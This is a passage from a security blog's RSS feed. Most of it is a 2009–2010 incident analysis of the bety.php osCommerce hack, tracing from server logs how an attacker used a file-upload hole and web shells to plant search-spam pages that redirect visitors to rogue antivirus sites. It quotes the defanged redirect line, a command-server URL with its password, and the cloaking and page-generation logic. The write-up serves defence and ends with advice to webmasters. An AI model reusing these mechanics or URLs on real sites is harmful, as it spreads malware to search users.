<li> The attack uses <a href="http://secunia.com/advisories/33446/">unpatched vulnerability in osCommerce 2.2</a> that allows an attacker to upload arbitrary files to compromised servers using a security hole in file_manager.php.</li>
<li> Only one of the three sites actually uses osCommerse (<strong>site-1</strong>).The rest two sites had been hacked using access gained via the hacked <strong>site-1</strong>.</li>
</ol>
<p><span id="more-528"></span></p>
<h3>Chronicle of the attack</h3>
<p>In logs of <strong>site-1</strong>, I found several POST requests to &#8220;<em><strong>/admin/file_manager.php/login.php?a=1&amp;action=save</strong></em>&#8221; (on December 9, 10, 16, 17, 18) from several different IPs.  Right after those attacks I saw POST requests to newly created files called <strong>fly.php</strong> (the file that is used in the disclosed exploit &#8212; it executes arbitrary PHP code passed as a POST parameter) and <strong>flop.php</strong>. Apperantly those files provided full access to the site (to directories with write permission). One of such attacks created a file called <strong>mm.php</strong> (it provides a simple interface to upload files from a local computer to server).</p>
<p><span style="color: #888888;"><strong>December 21, 2009</strong></span></p>
<p><span style="color: #888888;"><strong>12:13</strong></span> &#8211; Hacker with IP <strong>84.52.73.161 </strong>uses <strong>mm.php</strong> to upload an <strong>sh1.php</strong> file to the <strong>/images</strong> directory. sh1.php is a web shell. It equips hackers with a sophisticated graphical interface that provides almost full access to compromised sites. It allows hackers to browse directories, create and modify files, execute arbitrary PHP code, work with databases etc.</p>
<p><span style="color: #888888;"><strong>12:14 &#8211; 12:28</strong></span> &#8211; the hacker uses the web shell to explore internals of the <strong>site-1</strong>.</p>
<p><span style="color: #888888;"><strong>12:14</strong></span> &#8211; he discovers <strong>site-2</strong> under the same account</p>
<p><span style="color: #808080;"><strong>12:23</strong></span> &#8211; he discovers <strong>site-3</strong> under the same account and decides to start the malware campaign there. He uploads  <strong>sh1.php</strong> and <strong>bety.php</strong> there.</p>
<p><span style="color: #808080;"><strong>21:05</strong></span> &#8211; The hacker submitted three <strong>site-3/bety.php?q=keywords</strong> pages to page2rss.com  (Page2Rss helps monitor web sites that do not publish feeds).</p>
<p><span style="color: #808080;"><strong>21:06</strong></span> &#8211; The hacker clicks on the created links on page2rss.com and visits <strong>site-3</strong> to check that everything works as intended.</p>
<p>Links on page2rss.com are &#8220;nofollowed&#8221; but maybe this service somehow pings Google about new feeds, which makes the discovery faster?</p>
<p><span style="color: #808080;"><strong>21:31</strong></span> &#8211; Googlebot comes to <strong>site-3</strong> directly to <strong>bety.php</strong> pages and starts to index them. Apparently hackers somehow submitted a big batch of bety.php URLs to Google since it&#8217;s clear that it didn&#8217;t use site-wide discovery (didn&#8217;t follow links found in just indexed bety pages).</p>
<p><strong><span style="color: #808080;">22:50</span> -</strong> Googlebot finishes indexing bety.php pages. <strong>1976</strong> malicious pages have been indexed.</p>
<p>The indexed pages become immediately available in search results. The first visitor from Google Search comes at <span style="color: #808080;"><strong>21:47</strong></span>. It is just in <strong>16</strong> minute after Google first discovered the bety pages and started indexing them and in <strong>5</strong> minutes after that visited page had been indexed. And at that time the initial indexing was still underway with more than an hour to go.  <strong>10</strong> web surfers had visited the bety pages by the time googlebot left the site.</p>
<p>Some stats on visits from Google:</p>
<p style="padding-left: 30px;"><strong>42</strong> visits on December 21.<br />
<strong>129</strong> visits by December 31.</p>
<p>But wait, it&#8217;s just the beginning.</p>
<h3>Bety on site-2</h3>
<p><span style="color: #808080;"><strong>December 22</strong></span></p>
<p><span style="color: #808080;"><strong>08:18</strong></span> &#8211; The hacker with IP <strong>84.52.73.161</strong> returns to <strong>site-1</strong> and works with it for about 6(!) hours using the sh1.php web shell. This time he wants to start the &#8220;bety&#8221; campaigns on <strong>site-1</strong> and <strong>site-2</strong>.</p>
<p><span style="color: #808080;"><strong>08:22</strong></span> &#8211; he uploads sh1.php and bety.php to <strong>site-2</strong>.</p>
<p><span style="color: #808080;"><strong>08:51</strong></span> &#8211; the hacker has someone open the <strong><em>site-2/bety.php?q=so-you-think-you-can-dance-phone-number</em></strong> page using <a href="http://www.microsofttranslator.com/">Microsoft Translator service</a>.</p>
<p><span style="color: #808080;"><strong>09:32</strong></span> &#8211; Googlebot comes to <strong>site-2</strong> and starts to index the bety.php pages.</p>
<p><span style="color: #808080;"><strong>09:58</strong></span> &#8211; first visitor clickes on the bety search result. As you can see, the indexed pages become searchable almost immediately.</p>
<p><span style="color: #808080;"><strong>10:36</strong></span> &#8211; The first batch of <strong>1592</strong> bety.php pages is indexed. By this time <strong>25</strong> more visitors came to <strong>site-2</strong> bety pages via Google search results.</p>
<p><span style="color: #808080;"><strong>18:38</strong></span> &#8211; One of the bety links somehow makes it to twitter. The same minute Googlebot follows this link.</p>
<p><span style="color: #808080;"><strong>21:39</strong></span> &#8211; Googlebot visits <strong>site-2</strong> again and starts to index another batch of <strong>5150</strong> bety pages. This session lasts till <span style="color: #808080;"><strong>03:24</strong></span> &#8211; of the next day (almost <strong>6</strong> hours).</p>
<p>Then Googlebot regularly visits site-2 and by the end of month it has indexed <strong>8415</strong> bety pages. As a result, there had been <strong>1353</strong> visits of malicious bety pages from Google search results on December 22, <strong>1878</strong> visits on December 23, and <strong>5734</strong> visits by the end of December.</p>
<h3>Bety on Site-1</h3>
<p>When Google picked up bety pages on site-2, the attacker switched back to site-1 and triggered the bety campaign there.</p>
<p><span style="color: #808080;"><strong>December 22, 2009</strong></span></p>
<p><span style="color: #808080;"><strong>10:53</strong></span> &#8211; a spammy comment with <strong>438</strong> links to <em><strong>site-1/bety.php?q=keywords</strong></em> pages has been published on my.mail.ru.  <span style="color: #808080;"><strong>11:02</strong></span> &#8211; Someone clickes on those links and opens a couple of bety pages.</p>
<p><span style="color: #808080;"><strong>12:35</strong></span> &#8211; Googlebot comes to <strong>site-1</strong> and starts to index the bety.php pages. It indexes <strong>4887</strong> malicious pages by <span style="color: #808080;"><strong>16:44</strong></span>.</p>
<p><span style="color: #888888;"><strong>12:59</strong></span> &#8211; the first visitor from Google search.</p>
<p><strong>466</strong> &#8211; visits from Google search results on December 22.<br />
<strong>1500</strong> &#8211; visits from Goolge on December 23.<br />
<strong>3136</strong> &#8211; visits from Google by the end of December.</p>
<p><strong>Sumarry</strong></p>
<p>During the last 10 days of December, 2009, this hacker managed to drive <strong>9019</strong> visits from Google to malicious bety pages. (Google was the only source of traffic for those pages.)  <strong>7768</strong> times the script that redirects visitors to malicious sites was loaded by web surfers from <strong>4781</strong> unique IPs. Quite impressive, given it only took a few hours of the hacker&#8217;s time.</p>
<h3>The secret of bety.php</h3>
<p>OK. So what does this bety.php do an how it manages to provide Google with so many different variants of pages that it considers worthwhile to show on first pages of search results?</p>
<p>Bety.php handles two types of request <strong>q</strong> and <strong>red</strong>.</p>
<h4>Red requests</h4>
<p><strong>bety.php?red=keywords</strong> requests are used to retrieve the content of <strong>lname.php</strong>, which is a redirect script, like this:</p>
<p><code>window.location = "hxxp://basicallyantispyware .net/hitin .php?land=20&amp;affid=33220";</code></p>
<p>Every 20 minutes, bety.php updates the content of the lname.php file pulling the domain name of the currently active malicious site from<br />
<span style="color: #993300;">hxxp://92.48.127.76/domain.php?password=d0cd05bf619266a045dfb4a016753a39</span></p>
<p>To hide the malicious redirect from search engines, <strong>red</strong> request handler checks IP addresses of visitors and doesn&#8217;t return anything if detects requests from known IP-ranges used by search engine crawlers.</p>
<h4>Q requests</h4>
<p><strong>q</strong> requests return web pages specially crafted for Google.</p>
<p>When bety.php is opened for the first time, it creates a special directory called <strong>.cache</strong> (in new version <strong>.pages</strong>). It is the place where the bety script stores generated web pages.</p>
<p>When processing <em><strong>bety.php?q=keywords</strong></em> requests, the script checks if there is a pages called keywords.html in the cache directory. If it is, this page will be displayed. E.g. for <em><span style="color: #993300;">/bety.php?q=2010-nfl-mock-draft</span></em> request it checks for file <em><span style="color: #993300;">.cache/2010-nfl-mock-draft.html</span></em>.</p>
<p>If the cached file is missing (and initially there are no cached files at all) it is generated on the fly. Here is the structure of the generated files:</p>
<ol>
<li><em><strong>Keywords</strong></em> go to the title tag. (dashes replaced with spaces)</li>
<li>Background and text colors are random value (to make all pages look a bit different)</li>
<li>Capitalized <em><strong>keywords</strong></em> go to the <strong>h3</strong> tag at the top of the page.</li>
<li>Below goes the current date (as a hint that the content is fresh)</li>
<li>Then there is a bullet-list of up to four links:
<ol>
<li>The first is a link to <span style="color: #993300;"><em>.cache/map.html</em></span> &#8211; (every generated web pages is added here)</li>
<li>The next three items link to <em><span style="color: #993300;">bety.php?q=keywords1</span></em>, <span style="color: #993300;"><em>bety.php?q=keywords2</em></span>, <span style="color: #993300;"><em>bety.php?q=keywords3</em></span>, where <em>keywordsN</em> are top keywords returned by Google&#8217;s AJAX requests that are normally used for keywords suggestions in Google&#8217;s search forms.</li>
</ol>
</li>
<li>Malicious redirect script<span style="color: #993300;"><em>&lt;script src=&#8221;?red=keywords&#8221;&gt;&lt;/script&gt;</em></span></li>
<li><strong>50</strong> random descriptions from top 100 Google&#8217;s search results for <em><strong>keywords</strong></em>.</li>
<li>In new versions, they also add a buggy link to &#8220;<span style="color: #993300;"><em>hxxp://www.megaupload .com/ ?d=YQ3C29N6</em></span>&#8220;</li>
<li>And finally, for tracking purpose, each bety page contains a script of a <strong>hit.ua</strong> counter. So you can check how successful this particular malware campaign is: http://c.hit.ua/hit?i=25418</li>
</ol>
<p>Pretty straight forward, isn&#8217;t it? Those pages contain many relevant keywords and while they are fresh (first couple of days) Google temporarily boosts their ranking. And for multi-keywords searches this is enough to make it to the first page of results.</p>
<p>What is not clear to me is</p>
<ol>
<li>How hackers submit thousands of new pages to Google so that it immediately (well, almost) starts to index them?</li>
<li>How does Google permit this many (thousands) automated requests from compromised servers? In the logs, is see periods of more that an hour of consecutive requests at a rate of about <strong>25</strong> requests/second (and each time both &#8220;search&#8221; and &#8220;complete&#8221; services are requested). When I try to automate (sorry Google) searches from my home computer with comparable request rate (sometimes I need to analyze large volumes of search results for my researches), my IP inevitably gets block within a few minutes.</li>
<li>If Google readily indexes thousands (on just one site) of junk pages every day, what is the share of such junk in its main index? More than <span style="color: #808080;"><span style="text-decoration: line-through;">90%</span></span> 50%? ;-)</li>
</ol>
<p>What do you think?</p>
<h3>To webmasters</h3>
<p>Hackers are always on the look out for vulnerable websites that they can use for their malicious activities. As a site owner or webmaster you should be ready to deal with hacker attacks.</p>
<ol>
<li>If you use third-party scripts on your site, make sure they are secured. Find instructions on how to harden default installations. Then <a href="http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/">regularly check for security advisories</a> (e.g. in Secunia). And always upgrade whenever security patches are available.</li>
<li>Monitor your server for changes (new files and directories). This can help you detect suspicious unauthorized activity early on. The sooner you detect the problem and clean up your site, the less the damage (think dropped search engine ranking, malware warnings, etc.) <span style="color: #333333;"><em>BTW, can anyone suggest tools suitable for file system monitoring on shared hosting plans?</em></span></li>
<li>Although Google Analytics and similar statistics scripts may provide you with almost everything you need to know about your site, don&#8217;t forget about raw access logs. Hackers don&#8217;t add your tracking code in their files and requests to them will only be reflected in access logs (tools like Webalizer work with raw logs so they can also help if requests to illicit files are popular enough to make it to Webalizer reports.) Pay special attention to POST requests &#8211; they may help you identify security holes.</li>
<li>Google Webmaster Tools can also help reveal illicit content, reporting top searches and search keywords for your whole site, not limiting to pages that contain your tracking code. Irrelevant keywords in GWT reports is a strong sign of security problems.</li>
</ol>
<p>Any comments?</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/01/18/bety-php-oscommerce-hack-part-1/">Bety.php – osCommerce Hack. Part 1</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/01/24/black-hat-seo-for-virus-dissemination/">Black  Hat SEO for Virus Dissemination</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue  blogs redirect search traffic to bogus AV sites. Part 1.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue  blogs redirect search traffic to bogus AV sites. Part 2.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/02/05/stats-anomaly-reveals-website-security-issues/">Stats  Anomaly Reveals Website Security Issues</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=H_ZFr-uynd4:6LB1gwXEnoY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=H_ZFr-uynd4:6LB1gwXEnoY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=H_ZFr-uynd4:6LB1gwXEnoY:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tweet Week: Jan 18-24, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/01/24/tweet-week-jan-18-24-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/01/24/tweet-week-jan-18-24-2010/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 11:29:34 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[bety.php]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[LGPL]]></category>
		<category><![CDATA[milestone]]></category>
		<category><![CDATA[Sinowal]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=525</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Jan 18, 2009
[h-online] Typo3  updates patch holes
[milestone] 400,000  web pages checked by Unmask Parasites
Jan 19, 2009
Some nice Unmask  Parasites testimonials. Please  consider writing a testimonial if you like Unmask Parasites too.
Google&#8217;s quiz for  webmasters &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-525"></span><br />
<span style="color: #888888;"><strong>Jan 18, 2009</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/Typo3-updates-patch-holes-906646.html">Typo3  updates patch holes</a></p>
<p style="padding-left: 30px;">[milestone] 400,000  web pages checked by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a></p>
<p><span style="color: #888888;"><strong>Jan 19, 2009</strong></span></p>
<p style="padding-left: 30px;">Some <a href="http://blog.unmaskparasites.com/contact/unmask-parasites-testimonials/#comments">nice Unmask  Parasites testimonials</a>. Please <a href="http://blog.unmaskparasites.com/contact/unmask-parasites-testimonials/"> consider writing a testimonial</a> if you like Unmask Parasites too.</p>
<p style="padding-left: 30px;">Google&#8217;s <a href="http://googlewebmastercentral.blogspot.com/2010/01/test-your-webmaster-know-how.html?utm_source=feedburner&amp;utm_medium=twitter&amp;utm_campaign=Feed%3A+blogspot%2FamDG+(Official+Google+Webmaster+Central+Blog)">quiz for  webmasters</a> &#8211; 40 questions.  I only knew answers to about 80% of them.</p>
<p><span style="color: #888888;"><strong>Jan 21, 2010</strong></span></p>
<p style="padding-left: 30px;">bety.php from my  <a href="http://blog.unmaskparasites.com/2010/01/18/bety-php-oscommerce-hack-part-1/">latest blogpost</a> is renamed to  opa.php in today&#8217;s attacks</p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/gcluley">gcluley</a>:  Here it is folks&#8230;. well done to MS on <a href="http://blogs.technet.com/msrc/archive/2010/01/21/bulletin-ms10-002-released.aspx">releasing the IE Patch</a></p>
<p><span style="color: #888888;"><strong>Jan 22, 2010</strong></span></p>
<p style="padding-left: 30px;">GNU GPL / CODE1 /  LGPL malicious scripts now <a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/#comment-6648">identify themselves as &#8220;Exception&#8221; </a></p>
<p style="padding-left: 30px;"><a href="http://www.mozilla.com/en-US/firefox/3.6/releasenotes/">Firefox 3.6  released</a> with <a href="http://theunfocused.net/2009/10/06/firefox-3-6-knows-when-your-plugins-are-out-of-date/">protection  from out-of-date plugins</a> to keep users safer as they browse.</p>
<p><span style="color: #888888;"><strong>Jan 23, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online] 1 year  free SSL certificate from a registered Certificate Authority (StartSSL) &#8211; <a href="http://www.h-online.com/security/features/SSL-for-free-step-by-step-906862.html">with instruction</a></p>
<p><span style="color: #888888;"><strong>Jan 24, 2010</strong></span></p>
<p style="padding-left: 30px;">[sophos.com] <a href="http://www.sophos.com/blogs/sophoslabs/v/post/8315"> Continued Sinowal activity</a>.  And my <a href="http://www.unmaskparasites.com/security-tools/torpig-domain-generator.html">domain generator</a> for this attack <a rel="nofollow" href="http://bit.ly/4A8HzT" target="_blank"></a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=sdTMEt8MOks:_tciErOyTfM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=sdTMEt8MOks:_tciErOyTfM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=sdTMEt8MOks:_tciErOyTfM:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/01/24/tweet-week-jan-18-24-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 0.496 seconds. --><!-- Cached page generated by WP-Super-Cache on 2010-03-17 21:08:12 -->
